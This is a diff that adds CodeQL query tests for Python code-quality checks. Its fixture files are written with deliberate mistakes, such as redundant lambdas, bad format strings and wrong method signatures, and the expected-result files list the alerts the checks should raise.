| Attribute() | The __del__ special method is called explicitly. | diff --git a/python/ql/test/query-tests/Expressions/general/ExplicitCallToDel.qlref b/python/ql/test/query-tests/Expressions/general/ExplicitCallToDel.qlref new file mode 100644 index 00000000000..932f1a3d366 --- /dev/null +++ b/python/ql/test/query-tests/Expressions/general/ExplicitCallToDel.qlref @@ -0,0 +1 @@ +Expressions/ExplicitCallToDel.ql \ No newline at end of file diff --git a/python/ql/test/query-tests/Expressions/general/HashedButNoHash.expected b/python/ql/test/query-tests/Expressions/general/HashedButNoHash.expected new file mode 100644 index 00000000000..69bc7a7db39 --- /dev/null +++ b/python/ql/test/query-tests/Expressions/general/HashedButNoHash.expected @@ -0,0 +1 @@ +| expressions_test.py:42:20:42:25 | unhash | This $@ of $@ is unhashable. | expressions_test.py:41:32:41:37 | ControlFlowNode for list() | instance | file://:Compiled Code:0:0:0:0 | builtin-class list | list | diff --git a/python/ql/test/query-tests/Expressions/general/HashedButNoHash.qlref b/python/ql/test/query-tests/Expressions/general/HashedButNoHash.qlref new file mode 100644 index 00000000000..ee53e367499 --- /dev/null +++ b/python/ql/test/query-tests/Expressions/general/HashedButNoHash.qlref @@ -0,0 +1 @@ +Expressions/HashedButNoHash.ql \ No newline at end of file diff --git a/python/ql/test/query-tests/Expressions/general/UnnecessaryLambda.expected b/python/ql/test/query-tests/Expressions/general/UnnecessaryLambda.expected new file mode 100644 index 00000000000..dd8db3d4154 --- /dev/null +++ b/python/ql/test/query-tests/Expressions/general/UnnecessaryLambda.expected @@ -0,0 +1,6 @@ +| expressions_test.py:11:1:11:42 | Lambda | This 'lambda' is just a simple wrapper around a callable object. Use that object directly. | +| expressions_test.py:12:1:12:44 | Lambda | This 'lambda' is just a simple wrapper around a callable object. Use that object directly. | +| expressions_test.py:13:1:13:46 | Lambda | This 'lambda' is just a simple wrapper around a callable object. Use that object directly. | +| expressions_test.py:141:1:141:22 | Lambda | This 'lambda' is just a simple wrapper around a callable object. Use that object directly. | +| expressions_test.py:142:1:142:29 | Lambda | This 'lambda' is just a simple wrapper around a callable object. Use that object directly. | +| expressions_test.py:149:16:149:34 | Lambda | This 'lambda' is just a simple wrapper around a callable object. Use that object directly. | diff --git a/python/ql/test/query-tests/Expressions/general/UnnecessaryLambda.qlref b/python/ql/test/query-tests/Expressions/general/UnnecessaryLambda.qlref new file mode 100644 index 00000000000..49b3873f83c --- /dev/null +++ b/python/ql/test/query-tests/Expressions/general/UnnecessaryLambda.qlref @@ -0,0 +1 @@ +Expressions/UnnecessaryLambda.ql \ No newline at end of file diff --git a/python/ql/test/query-tests/Expressions/general/UnsupportedFormatCharacter.expected b/python/ql/test/query-tests/Expressions/general/UnsupportedFormatCharacter.expected new file mode 100644 index 00000000000..0e4fdb3d565 --- /dev/null +++ b/python/ql/test/query-tests/Expressions/general/UnsupportedFormatCharacter.expected @@ -0,0 +1 @@ +| str_fmt_test.py:8:12:8:16 | Str | Invalid conversion specifier at index 0 of '%Z'. | diff --git a/python/ql/test/query-tests/Expressions/general/UnsupportedFormatCharacter.qlref b/python/ql/test/query-tests/Expressions/general/UnsupportedFormatCharacter.qlref new file mode 100644 index 00000000000..3cb459229e4 --- /dev/null +++ b/python/ql/test/query-tests/Expressions/general/UnsupportedFormatCharacter.qlref @@ -0,0 +1 @@ +Expressions/UnsupportedFormatCharacter.ql \ No newline at end of file diff --git a/python/ql/test/query-tests/Expressions/general/WrongNumberArgumentsForFormat.expected b/python/ql/test/query-tests/Expressions/general/WrongNumberArgumentsForFormat.expected new file mode 100644 index 00000000000..3e83aa4bb0d --- /dev/null +++ b/python/ql/test/query-tests/Expressions/general/WrongNumberArgumentsForFormat.expected @@ -0,0 +1,2 @@ +| str_fmt_test.py:11:11:11:34 | BinaryExpr | Wrong number of $@ for string format. Format $@ takes 2, but 3 are provided. | str_fmt_test.py:11:23:11:33 | Tuple | arguments | str_fmt_test.py:11:11:11:18 | Str | %s %s | +| str_fmt_test.py:14:11:14:23 | BinaryExpr | Wrong number of $@ for string format. Format $@ takes 1, but 2 are provided. | str_fmt_test.py:13:13:13:21 | Tuple | arguments | str_fmt_test.py:12:14:12:19 | Str | %hd | diff --git a/python/ql/test/query-tests/Expressions/general/WrongNumberArgumentsForFormat.qlref b/python/ql/test/query-tests/Expressions/general/WrongNumberArgumentsForFormat.qlref new file mode 100644 index 00000000000..0d127e1b618 --- /dev/null +++ b/python/ql/test/query-tests/Expressions/general/WrongNumberArgumentsForFormat.qlref @@ -0,0 +1 @@ +Expressions/WrongNumberArgumentsForFormat.ql \ No newline at end of file diff --git a/python/ql/test/query-tests/Expressions/general/_private.py b/python/ql/test/query-tests/Expressions/general/_private.py new file mode 100644 index 00000000000..f7d0e50ba20 --- /dev/null +++ b/python/ql/test/query-tests/Expressions/general/_private.py @@ -0,0 +1,4 @@ +#Private modules, still needs docstrings + +def f(x, y): + 'Doc string' diff --git a/python/ql/test/query-tests/Expressions/general/compare.py b/python/ql/test/query-tests/Expressions/general/compare.py new file mode 100644 index 00000000000..141b5e6a028 --- /dev/null +++ b/python/ql/test/query-tests/Expressions/general/compare.py @@ -0,0 +1,26 @@ + +#OK +a = b = 1 +a == b +a.x == b.x + +#Same variables +a == a +a.x == a.x + +#Compare constants +1 == 1 +1 == 2 + +#Maybe missing self +class X(object): + + def __init__(self, x): + self.x = x + + def missing_self(self, x): + if x == x: + print ("Yes") + +#Compare constants in assert -- ok +assert(1 == 1) diff --git a/python/ql/test/query-tests/Expressions/general/expressions_test.py b/python/ql/test/query-tests/Expressions/general/expressions_test.py new file mode 100644 index 00000000000..7770e326e2c --- /dev/null +++ b/python/ql/test/query-tests/Expressions/general/expressions_test.py @@ -0,0 +1,218 @@ +#encoding: utf-8 +def dup_key(): + return { 1: -1, + 1: -2, + u'a' : u'A', + u'a' : u'B' + } + +def simple_func(*args, **kwrgs): pass +#Unnecessary lambdas +lambda arg0, arg1: simple_func(arg0, arg1) +lambda arg0, *arg1: simple_func(arg0, *arg1) +lambda arg0, **arg1: simple_func(arg0, **arg1) +# these lambdas are_ necessary +lambda arg0, arg1=1: simple_func(arg0, arg1) +lambda arg0, arg1: simple_func(arg0, *arg1) +lambda arg0, arg1: simple_func(arg0, **arg1) +lambda arg0, *arg1: simple_func(arg0, arg1) +lambda arg0, **arg1: simple_func(arg0, arg1) + +#Non-callable called +class NonCallable(object): + pass + +class MaybeCallable(Unknown, object): + pass + +def call_non_callable(arg): + non = NonCallable() + non(arg) + ()() + []() + dont_know = MaybeCallable() + dont_know() # Not a violation + +#Explicit call to __del__ +x.__del__() + +#Unhashable object +def func(): + mapping = dict(); unhash = list() + return mapping[unhash] + +#Using 'is' when should be using '==' +s = "Hello " + "World" +if "Hello World" is s: + print ("OK") + +#This is OK in CPython, but may not be portable +s = str(7) +if "7" is s: + print ("OK") + +#And some data flow +CONSTANT = 20 +if x is CONSTANT: + print ("OK") + +#This is OK +x = object() +y = object() +if x is y: + print ("Very surprising!") + +#This is also OK +if s is None: + print ("Also surprising") + +#Portable is comparisons +def f(arg): + arg is () + arg is 0 + arg is '' + +#Non-container + +class XIter(object): + #Support both 2 and 3 form of next, but omit __iter__ method + + def __next__(self): + pass + + def next(self): + pass + +def non_container(): + + seq = XIter() + if 1 in seq: + pass + if 1 not in seq: + pass + +#Container inheriting from builtin +class MyDict(dict): + pass + +class MySequence(UnresolvablebaseClass): + pass + +def is_container(): + mapping = MyDict() + if 1 in mapping: + pass + seq = MySequence() + if 1 in seq: + pass + seq = None + if seq is not None and 1 in seq: + pass + +#Equals none + +def x(arg): + return arg == None + +class NotMyDict(object): + + def f(self): + super(MyDict, self).f() + +# class defining __del__ +class Test(object): + def __del__(self): + pass + +# subclass +class SubTest(Test): + def __del__(self): + # This is permitted and required. + Test.__del__(self) + # This is a violation. + self.__del__() + # This is an alternate syntax for the super() call, and hence OK. + super(SubTest, self).__del__() + # This is the Python 3 spelling of the same. + super().__del__() + +#Some more lambdas +#Unnecessary lambdas +lambda arg0: len(arg0) +lambda arg0: XIter.next(arg0) +class UL(object): + + def f(self, x): + pass + + def g(self): + return lambda x: self.f(x) + +# these lambdas are necessary +lambda arg0: XIter.next(arg0, arg1) +lambda arg0: func()(arg0) +lambda arg0, arg1: arg0.meth(arg0, arg1) + +#Cannot flag lists as unhashable if the object +#we are subscripting may be a numpy array +def func(maybe_numpy): + unhash = list() + return maybe_numpy[unhash] + +#Guarded non-callable called +def guarded_non_callable(cond): + if cond: + val = [] + else: + val = func + if hasattr(val, "__call__"): + x(1) + + +#ODASA-4056 +def format_string(s, formatter='minimal'): + """Format the given string using the given formatter.""" + if not callable(formatter): + formatter = get_formatter_for_name(formatter) + if formatter is None: + output = s + else: + output = formatter(s) + return output + +#ODASA-4614 +def f(x): + d = {} + d['one'] = {} + d['two'] = 0 + return x[d['two']] + +#ODASA-4055 +class C: + + def _internal(arg): + # arg is not a C + def wrapper(args): + return arg(args) + return wrapper + + @_internal + def method(self, *args): + pass + +#ODASA-4689 +class StrangeIndex: + def __getitem__(self,index): + return 1 + +x = StrangeIndex(); +print(x[{'a': 'b'}]) + +def not_dup_key(): + return { u'a' : 0, + b'a' : 0, + u"😄" : 1, + u"😅" : 2, + u"😆" : 3 + } + diff --git a/python/ql/test/query-tests/Expressions/general/str_fmt_test.py b/python/ql/test/query-tests/Expressions/general/str_fmt_test.py new file mode 100644 index 00000000000..e941b842c31 --- /dev/null +++ b/python/ql/test/query-tests/Expressions/general/str_fmt_test.py @@ -0,0 +1,55 @@ + + +def expected_mapping_for_fmt_string(): + x = [ u'list', u'not', u'mapping' ] + print (u"%(name)s" % x) + +def unsupported_format_char(arg): + print (u"%Z" % arg) + +def wrong_arg_count_format(arg): + print(u"%s %s" % (arg, arg, 0)) + format = u"%hd" + args = (1, u'foo') + print(format % args) + + +def ok(): + # allowable length modifiers + print(u"%hd %ld %Ld" % (1,2,3)) + + # multiple adjacent % characters + print(u"%%%s" % u"(foo)s") + + # '.' without trailing digits + print(u"%2.d" % 3) + + # a list is OK as an argument to %s + print(u"%s is a list" % [1,2,3,4]) + + # pretty much everything + print(u"%(var)#0+- 8.4hd" % dict(var=44)) + + #This one from PyPy tests + print(u"%()s" % { u'' : u'Hi' }) + +#ODASA 6401 +out = '\n' +out+= ' \n' + +light = out % (az, al) + +#Example from CPython +def f(k, v): + print(' %-40s%a,' % ('%a:' % k, v)) + +#Context sensitive +def g(a, b): + return a % b + +g("%s", 1) +g("%s %s", (1, 2)) + +#Make sure we handle all format characters +"%b %d %i %o %u %x %X %e %E %f %F %g %G %c %r %s" % t() + diff --git a/python/ql/test/query-tests/Expressions/strings/UnintentionalImplicitStringConcatenation.expected b/python/ql/test/query-tests/Expressions/strings/UnintentionalImplicitStringConcatenation.expected new file mode 100644 index 00000000000..1b8b1421f80 --- /dev/null +++ b/python/ql/test/query-tests/Expressions/strings/UnintentionalImplicitStringConcatenation.expected @@ -0,0 +1,4 @@ +| test.py:17:9:18:18 | Str | Implicit string concatenation. Maybe missing a comma? | +| test.py:23:9:24:18 | Str | Implicit string concatenation. Maybe missing a comma? | +| test.py:33:9:34:30 | Str | Implicit string concatenation. Maybe missing a comma? | +| test.py:35:9:36:18 | Str | Implicit string concatenation. Maybe missing a comma? | diff --git a/python/ql/test/query-tests/Expressions/strings/UnintentionalImplicitStringConcatenation.qlref b/python/ql/test/query-tests/Expressions/strings/UnintentionalImplicitStringConcatenation.qlref new file mode 100644 index 00000000000..c305fd129f8 --- /dev/null +++ b/python/ql/test/query-tests/Expressions/strings/UnintentionalImplicitStringConcatenation.qlref @@ -0,0 +1 @@ +Expressions/UnintentionalImplicitStringConcatenation.ql \ No newline at end of file diff --git a/python/ql/test/query-tests/Expressions/strings/test.py b/python/ql/test/query-tests/Expressions/strings/test.py new file mode 100644 index 00000000000..15b3c9216e3 --- /dev/null +++ b/python/ql/test/query-tests/Expressions/strings/test.py @@ -0,0 +1,46 @@ + +def test(): + single_string = [ + "foo" + "bar" + "/usr/local" + "/usr/bin" + ] + explict_concat = [ + "foo" + + "bar", + "/usr/local", + "/usr/bin" + ] + error1 = [ + "foo", + "/usr/local" + "/usr/bin" + ] + error2 = [ + "foo" + + "bar", + "/usr/local" + "/usr/bin" + ] + +#Examples from documentation + +def unclear(): + # Returns [ "first part of long string and the second part", "/usr/local/usr/bin" ] + return [ + + "first part of long string" + " and the second part", + "/usr/local" + "/usr/bin" + ] + +def clarified(): + # Returns [ "first part of long string and the second part", "/usr/local", "/usr/bin" ] + return [ + "first part of long string" + + " and the second part", + "/usr/local", + "/usr/bin" + ] diff --git a/python/ql/test/query-tests/Expressions/super/CallToSuperWrongClass.expected b/python/ql/test/query-tests/Expressions/super/CallToSuperWrongClass.expected new file mode 100644 index 00000000000..66508e08d70 --- /dev/null +++ b/python/ql/test/query-tests/Expressions/super/CallToSuperWrongClass.expected @@ -0,0 +1 @@ +| test.py:10:9:10:27 | super() | First argument to super() should be NotMyDict. | diff --git a/python/ql/test/query-tests/Expressions/super/CallToSuperWrongClass.qlref b/python/ql/test/query-tests/Expressions/super/CallToSuperWrongClass.qlref new file mode 100644 index 00000000000..c3beeaede04 --- /dev/null +++ b/python/ql/test/query-tests/Expressions/super/CallToSuperWrongClass.qlref @@ -0,0 +1 @@ +Expressions/CallToSuperWrongClass.ql \ No newline at end of file diff --git a/python/ql/test/query-tests/Expressions/super/test.py b/python/ql/test/query-tests/Expressions/super/test.py new file mode 100644 index 00000000000..e2e667cd25d --- /dev/null +++ b/python/ql/test/query-tests/Expressions/super/test.py @@ -0,0 +1,25 @@ +import sys + +#Container inheriting from builtin +class MyDict(dict): + pass + +class NotMyDict(object): + + def f(self): + super(MyDict, self).f() + +#Splitting +PY2 = sys.version_info[0] == 2 + +if PY2: + pass + + +class InSplit(MyDict): + + def __init__(self): + super(InSplit, self).f() + +if PY2: + pass diff --git a/python/ql/test/query-tests/Expressions/super/test_except.py b/python/ql/test/query-tests/Expressions/super/test_except.py new file mode 100644 index 00000000000..22935563a6e --- /dev/null +++ b/python/ql/test/query-tests/Expressions/super/test_except.py @@ -0,0 +1,13 @@ + +try: + + @decorator + class S(object): + + def __init__(self, *args, **kwargs): + super(S, self).__init__(*args, **kwargs) + +except Exception: + + class S(object): + pass diff --git a/python/ql/test/query-tests/Functions/general/DeprecatedSliceMethod.expected b/python/ql/test/query-tests/Functions/general/DeprecatedSliceMethod.expected new file mode 100644 index 00000000000..8d89bff1f23 --- /dev/null +++ b/python/ql/test/query-tests/Functions/general/DeprecatedSliceMethod.expected @@ -0,0 +1,3 @@ +| functions_test.py:200:5:200:40 | Function __getslice__ | __getslice__ method has been deprecated since Python 2.0 | +| functions_test.py:203:5:203:47 | Function __setslice__ | __setslice__ method has been deprecated since Python 2.0 | +| functions_test.py:206:5:206:40 | Function __delslice__ | __delslice__ method has been deprecated since Python 2.0 | diff --git a/python/ql/test/query-tests/Functions/general/DeprecatedSliceMethod.qlref b/python/ql/test/query-tests/Functions/general/DeprecatedSliceMethod.qlref new file mode 100644 index 00000000000..c38b8d1f761 --- /dev/null +++ b/python/ql/test/query-tests/Functions/general/DeprecatedSliceMethod.qlref @@ -0,0 +1 @@ +Functions/DeprecatedSliceMethod.ql \ No newline at end of file diff --git a/python/ql/test/query-tests/Functions/general/ExplicitReturnInInit.expected b/python/ql/test/query-tests/Functions/general/ExplicitReturnInInit.expected new file mode 100644 index 00000000000..e695c7d0030 --- /dev/null +++ b/python/ql/test/query-tests/Functions/general/ExplicitReturnInInit.expected @@ -0,0 +1 @@ +| functions_test.py:45:9:45:19 | Return | Explicit return in __init__ method. | diff --git a/python/ql/test/query-tests/Functions/general/ExplicitReturnInInit.qlref b/python/ql/test/query-tests/Functions/general/ExplicitReturnInInit.qlref new file mode 100644 index 00000000000..a23550c4865 --- /dev/null +++ b/python/ql/test/query-tests/Functions/general/ExplicitReturnInInit.qlref @@ -0,0 +1 @@ +Functions/ExplicitReturnInInit.ql \ No newline at end of file diff --git a/python/ql/test/query-tests/Functions/general/IncorrectRaiseInSpecialMethod.expected b/python/ql/test/query-tests/Functions/general/IncorrectRaiseInSpecialMethod.expected new file mode 100644 index 00000000000..a5049d58046 --- /dev/null +++ b/python/ql/test/query-tests/Functions/general/IncorrectRaiseInSpecialMethod.expected @@ -0,0 +1,2 @@ +| protocols.py:66:5:66:33 | Function __getitem__ | Function always raises $@; raise LookupError instead | file://:Compiled Code:0:0:0:0 | builtin-class ZeroDivisionError | builtin-class ZeroDivisionError | +| protocols.py:69:5:69:26 | Function __getattr__ | Function always raises $@; raise AttributeError instead | file://:Compiled Code:0:0:0:0 | builtin-class ZeroDivisionError | builtin-class ZeroDivisionError | diff --git a/python/ql/test/query-tests/Functions/general/IncorrectRaiseInSpecialMethod.qlref b/python/ql/test/query-tests/Functions/general/IncorrectRaiseInSpecialMethod.qlref new file mode 100644 index 00000000000..07fd22a9376 --- /dev/null +++ b/python/ql/test/query-tests/Functions/general/IncorrectRaiseInSpecialMethod.qlref @@ -0,0 +1 @@ +Functions/IncorrectRaiseInSpecialMethod.ql \ No newline at end of file diff --git a/python/ql/test/query-tests/Functions/general/InitIsGenerator.expected b/python/ql/test/query-tests/Functions/general/InitIsGenerator.expected new file mode 100644 index 00000000000..ec18b839c48 --- /dev/null +++ b/python/ql/test/query-tests/Functions/general/InitIsGenerator.expected @@ -0,0 +1 @@ +| functions_test.py:73:5:73:23 | Function __init__ | __init__ method is a generator. | diff --git a/python/ql/test/query-tests/Functions/general/InitIsGenerator.qlref b/python/ql/test/query-tests/Functions/general/InitIsGenerator.qlref new file mode 100644 index 00000000000..a3df140ff1e --- /dev/null +++ b/python/ql/test/query-tests/Functions/general/InitIsGenerator.qlref @@ -0,0 +1 @@ +Functions/InitIsGenerator.ql \ No newline at end of file diff --git a/python/ql/test/query-tests/Functions/general/IterReturnsNonIterator.expected b/python/ql/test/query-tests/Functions/general/IterReturnsNonIterator.expected new file mode 100644 index 00000000000..0fbb62b7aa8 --- /dev/null +++ b/python/ql/test/query-tests/Functions/general/IterReturnsNonIterator.expected @@ -0,0 +1 @@ +| protocols.py:16:5:16:23 | Function __iter__ | The '__iter__' method of iterable class $@ does not return an iterator. | protocols.py:14:1:14:16 | class X | X | diff --git a/python/ql/test/query-tests/Functions/general/IterReturnsNonIterator.qlref b/python/ql/test/query-tests/Functions/general/IterReturnsNonIterator.qlref new file mode 100644 index 00000000000..3d0965f7b11 --- /dev/null +++ b/python/ql/test/query-tests/Functions/general/IterReturnsNonIterator.qlref @@ -0,0 +1 @@ +Functions/IterReturnsNonIterator.ql diff --git a/python/ql/test/query-tests/Functions/general/IterReturnsNonSelf.expected b/python/ql/test/query-tests/Functions/general/IterReturnsNonSelf.expected new file mode 100644 index 00000000000..88c2e672db8 --- /dev/null +++ b/python/ql/test/query-tests/Functions/general/IterReturnsNonSelf.expected @@ -0,0 +1 @@ +| protocols.py:22:1:22:29 | class AlmostIterator | Class AlmostIterator is an iterator but its $@ method does not return 'self'. | protocols.py:30:5:30:23 | Function __iter__ | __iter__ | diff --git a/python/ql/test/query-tests/Functions/general/IterReturnsNonSelf.qlref b/python/ql/test/query-tests/Functions/general/IterReturnsNonSelf.qlref new file mode 100644 index 00000000000..b806215d26c --- /dev/null +++ b/python/ql/test/query-tests/Functions/general/IterReturnsNonSelf.qlref @@ -0,0 +1 @@ +Functions/IterReturnsNonSelf.ql \ No newline at end of file diff --git a/python/ql/test/query-tests/Functions/general/ModificationOfParameterWithDefault.expected b/python/ql/test/query-tests/Functions/general/ModificationOfParameterWithDefault.expected new file mode 100644 index 00000000000..520b55ea3c2 --- /dev/null +++ b/python/ql/test/query-tests/Functions/general/ModificationOfParameterWithDefault.expected @@ -0,0 +1,2 @@ +| functions_test.py:40:5:40:17 | Attribute() | Modification of parameter $@, which has mutable default value. | functions_test.py:39:9:39:9 | Parameter | x | +| functions_test.py:239:5:239:14 | AugAssign | Modification of parameter $@, which has mutable default value. | functions_test.py:238:15:238:15 | Parameter | x | diff --git a/python/ql/test/query-tests/Functions/general/ModificationOfParameterWithDefault.qlref b/python/ql/test/query-tests/Functions/general/ModificationOfParameterWithDefault.qlref new file mode 100644 index 00000000000..8c4044e8fee --- /dev/null +++ b/python/ql/test/query-tests/Functions/general/ModificationOfParameterWithDefault.qlref @@ -0,0 +1 @@ +Functions/ModificationOfParameterWithDefault.ql diff --git a/python/ql/test/query-tests/Functions/general/NonCls.expected b/python/ql/test/query-tests/Functions/general/NonCls.expected new file mode 100644 index 00000000000..da955e6f353 --- /dev/null +++ b/python/ql/test/query-tests/Functions/general/NonCls.expected @@ -0,0 +1,2 @@ +| functions_test.py:100:5:100:24 | Function n_cmethod | Class methods or methods of a type deriving from type should have 'cls', rather than 'self', as their first argument. | +| functions_test.py:114:5:114:20 | Function c_method | Class methods or methods of a type deriving from type should have 'cls', rather than 'y', as their first argument. | diff --git a/python/ql/test/query-tests/Functions/general/NonCls.qlref b/python/ql/test/query-tests/Functions/general/NonCls.qlref new file mode 100644 index 00000000000..b3525b101df --- /dev/null +++ b/python/ql/test/query-tests/Functions/general/NonCls.qlref @@ -0,0 +1 @@ +Functions/NonCls.ql diff --git a/python/ql/test/query-tests/Functions/general/NonSelf.expected b/python/ql/test/query-tests/Functions/general/NonSelf.expected new file mode 100644 index 00000000000..1bb0993593d --- /dev/null +++ b/python/ql/test/query-tests/Functions/general/NonSelf.expected @@ -0,0 +1,3 @@ +| functions_test.py:130:5:130:20 | Function __init__ | Normal methods should have 'self', rather than 'x', as their first parameter. | +| functions_test.py:133:5:133:20 | Function s_method | Normal methods should have 'self', rather than 'y', as their first parameter. | +| om_test.py:71:5:71:19 | Function __repr__ | Normal methods should have at least one parameter (the first of which should be 'self'). | diff --git a/python/ql/test/query-tests/Functions/general/NonSelf.qlref b/python/ql/test/query-tests/Functions/general/NonSelf.qlref new file mode 100644 index 00000000000..2629570c2a1 --- /dev/null +++ b/python/ql/test/query-tests/Functions/general/NonSelf.qlref @@ -0,0 +1 @@ +Functions/NonSelf.ql diff --git a/python/ql/test/query-tests/Functions/general/OverlyComplexDelMethod.expected b/python/ql/test/query-tests/Functions/general/OverlyComplexDelMethod.expected new file mode 100644 index 00000000000..9eb184f57ba --- /dev/null +++ b/python/ql/test/query-tests/Functions/general/OverlyComplexDelMethod.expected @@ -0,0 +1 @@ +| protocols.py:42:5:42:22 | Function __del__ | Overly complex '__del__' method. | diff --git a/python/ql/test/query-tests/Functions/general/OverlyComplexDelMethod.qlref b/python/ql/test/query-tests/Functions/general/OverlyComplexDelMethod.qlref new file mode 100644 index 00000000000..601501aac30 --- /dev/null +++ b/python/ql/test/query-tests/Functions/general/OverlyComplexDelMethod.qlref @@ -0,0 +1 @@ +Functions/OverlyComplexDelMethod.ql diff --git a/python/ql/test/query-tests/Functions/general/SignatureOverriddenMethod.expected b/python/ql/test/query-tests/Functions/general/SignatureOverriddenMethod.expected new file mode 100644 index 00000000000..f23936e6a42 --- /dev/null +++ b/python/ql/test/query-tests/Functions/general/SignatureOverriddenMethod.expected @@ -0,0 +1,2 @@ +| om_test.py:32:5:32:35 | Function grossly_wrong1 | Overriding method 'grossly_wrong1' has signature mismatch with $@. | om_test.py:12:5:12:41 | Function grossly_wrong1 | overridden method | +| om_test.py:35:5:35:47 | Function grossly_wrong2 | Overriding method 'grossly_wrong2' has signature mismatch with $@. | om_test.py:15:5:15:41 | Function grossly_wrong2 | overridden method | diff --git a/python/ql/test/query-tests/Functions/general/SignatureOverriddenMethod.qlref b/python/ql/test/query-tests/Functions/general/SignatureOverriddenMethod.qlref new file mode 100644 index 00000000000..a306477b3b4 --- /dev/null +++ b/python/ql/test/query-tests/Functions/general/SignatureOverriddenMethod.qlref @@ -0,0 +1 @@ +Functions/SignatureOverriddenMethod.ql diff --git a/python/ql/test/query-tests/Functions/general/SignatureSpecialMethods.expected b/python/ql/test/query-tests/Functions/general/SignatureSpecialMethods.expected new file mode 100644 index 00000000000..d26ae70958e --- /dev/null +++ b/python/ql/test/query-tests/Functions/general/SignatureSpecialMethods.expected @@ -0,0 +1,9 @@ +| om_test.py:59:5:59:28 | Function __div__ | Too many parameters for special method __div__, which has 3 parameters, but should have 2, in class $@. | om_test.py:57:1:57:28 | class WrongSpecials | WrongSpecials | +| om_test.py:62:5:62:22 | Function __mul__ | Too few parameters for special method __mul__, which has 1 parameter, but should have 2, in class $@. | om_test.py:57:1:57:28 | class WrongSpecials | WrongSpecials | +| om_test.py:65:5:65:29 | Function __neg__ | Too many parameters for special method __neg__, which has 2 parameters, but should have 1, in class $@. | om_test.py:57:1:57:28 | class WrongSpecials | WrongSpecials | +| om_test.py:68:5:68:35 | Function __exit__ | Too few parameters for special method __exit__, which has 3 parameters, but should have 4, in class $@. | om_test.py:57:1:57:28 | class WrongSpecials | WrongSpecials | +| om_test.py:71:5:71:19 | Function __repr__ | Too few parameters for special method __repr__, which has no parameters, but should have 1, in class $@. | om_test.py:57:1:57:28 | class WrongSpecials | WrongSpecials | +| om_test.py:74:5:74:46 | Function __add__ | 1 default values(s) will never be used for special method __add__, in class $@. | om_test.py:57:1:57:28 | class WrongSpecials | WrongSpecials | +| om_test.py:97:15:97:34 | Function lambda | Too few parameters for special method __sub__, which has 1 parameter, but should have 2, in class $@. | om_test.py:95:1:95:28 | class NotOKSpecials | NotOKSpecials | +| protocols.py:72:1:72:12 | Function f | Too few parameters for special method __add__, which has 1 parameter, but should have 2, in class $@. | protocols.py:75:1:75:29 | class MissingMethods | MissingMethods | +| protocols.py:72:1:72:12 | Function f | Too few parameters for special method __set__, which has 1 parameter, but should have 3, in class $@. | protocols.py:75:1:75:29 | class MissingMethods | MissingMethods | diff --git a/python/ql/test/query-tests/Functions/general/SignatureSpecialMethods.qlref b/python/ql/test/query-tests/Functions/general/SignatureSpecialMethods.qlref new file mode 100644 index 00000000000..bc1b29b6c0d --- /dev/null +++ b/python/ql/test/query-tests/Functions/general/SignatureSpecialMethods.qlref @@ -0,0 +1 @@ +Functions/SignatureSpecialMethods.ql \ No newline at end of file diff --git a/python/ql/test/query-tests/Functions/general/functions_test.py b/python/ql/test/query-tests/Functions/general/functions_test.py new file mode 100644 index 00000000000..71fea62a737 --- /dev/null +++ b/python/ql/test/query-tests/Functions/general/functions_test.py @@ -0,0 +1,288 @@ + +#Consistent Returns + +__all__ = [ '' ] + +def ok1(x): + if x: + return None + else: + return + +def ok2(x): + if x: + return 4 + else: + return "Hi" + +def cr1(x): + if x: + return 4 + +def cr2(x): + if x: + return 4 + else: + return + +def ok3(x): + try: + return + finally: + do_something() + +#Modification of parameter with default + +def ok4(x = []): + return len(x) + +def mpd(x = []): + x.append("x") + +class ExplicitReturnInInit(object): + + def __init__(self): + return self + +#These are OK +class ExplicitReturnNoneInInit(object): + + def __init__(self): + return None + +class PlainReturnInInit(object): + + def __init__(self): + return + +def error(): + raise Exception() + +class InitCallsError(object): + + def __init__(self): + return error() + +class InitCallsInit(InitCallsError): + + def __init__(self): + return InitCallsError.__init__(self) + +class InitIsGenerator(object): + + def __init__(self): + yield self + +def use_implicit_return_value(arg): + x = do_nothing() + return call_non_callable(arg) + +#The return in the lambda is OK as it is auto-generated +y = lambda x : do_nothing() + +def do_nothing(): + pass + +#Using name other than 'cls' for first parameter in methods. +# This shouldn't apply to classmethods (first parameter should be 'cls' or similar) +# or static methods (first parameter can be anything) + +class Normal(object): + + def n_ok(self): + pass + + @staticmethod + def n_smethod(ok): + pass + + @classmethod + def n_cmethod(self): + pass + + # this is allowed because it has a decorator other than @classmethod + @classmethod + @id + def n_suppress(any_name): + pass + +class Class(type): + + def __init__(cls): + pass + + def c_method(y): + pass + + def c_ok(cls): + pass + + @id + def c_suppress(any_name): + pass + +#Using name other than 'self' for first parameter in methods. +# This shouldn't apply to classmethods (first parameter should be 'cls' or similar) +# or static methods (first parameter can be anything) + +class NonSelf(object): + + def __init__(x): + pass + + def s_method(y): + pass + + def s_ok(self): + pass + + @staticmethod + def s_smethod(ok): + pass + + @classmethod + def s_cmethod(cls): + pass + + def s_smethod2(ok): + pass + s_smethod2 = staticmethod(s_smethod2) + + def s_cmethod2(cls): + pass + s_cmethod2 = classmethod(s_cmethod2) + +def returns_self(self): + return self + +def return_value_ignored(): + ok2() + ok4() + sorted([1,2]) + +d = {} + +def use_return_values(): + x = ok2() + x = ok2() + x = ok3() + x = ok3() + x = ok4() + x = ok4() + x = y() + x = y() + x = returns_self() + x = returns_self() + x = sorted(x) + x = sorted(x) + x = ok2() + x = ok2() + x = ok3() + x = ok3() + x = ok4() + x = ok4() + x = y() + x = y() + x = returns_self() + x = returns_self() + x = sorted(x) + x = sorted(x) + +def ok_to_ignore(): + ok1 + do_nothing() + returns_self() + ok3() + y() + +class DeprecatedSliceMethods(object): + + def __getslice__(self, start, stop): + pass + + def __setslice__(self, start, stop, value): + pass + + def __delslice__(self, start, stop): + pass + + + +@decorator +def nested_call_implicit_return_func_ok(arg): + do_nothing() + + + + + + +#OK as it returns result of a call to super().__init__() +class InitCallsInit(InitCallsError): + + def __init__(self): + return super(InitCallsInit, self).__init__() + +#Harmless, so we allow it. +def use_implicit_return_value_ok(arg): + return do_nothing() + +def mutli_return(arg): + if arg: + return do_something() + else: + return do_nothing() + +#Modification of parameter with default + +def augassign(x = []): + x += ["x"] + + +#Possible FPs for non-self. ODASA-2439 + +class C(object): + def _func(f): + return f + + _func(x) + + #or + @_func + def meth(self): + pass + + +def dont_care(arg): + pass + +class C(object): + + meth = dont_care + +class Meta(type): + + #__new__ is an implicit class method, so the first arg is the metaclass + def __new__(metacls, name, bases, cls_dict): + return super(Meta, metacls).__new__(metacls, name, bases, cls_dict) + +#ODASA 3658 +from sys import exit +#Consistent returns +def ok5(): + try: + 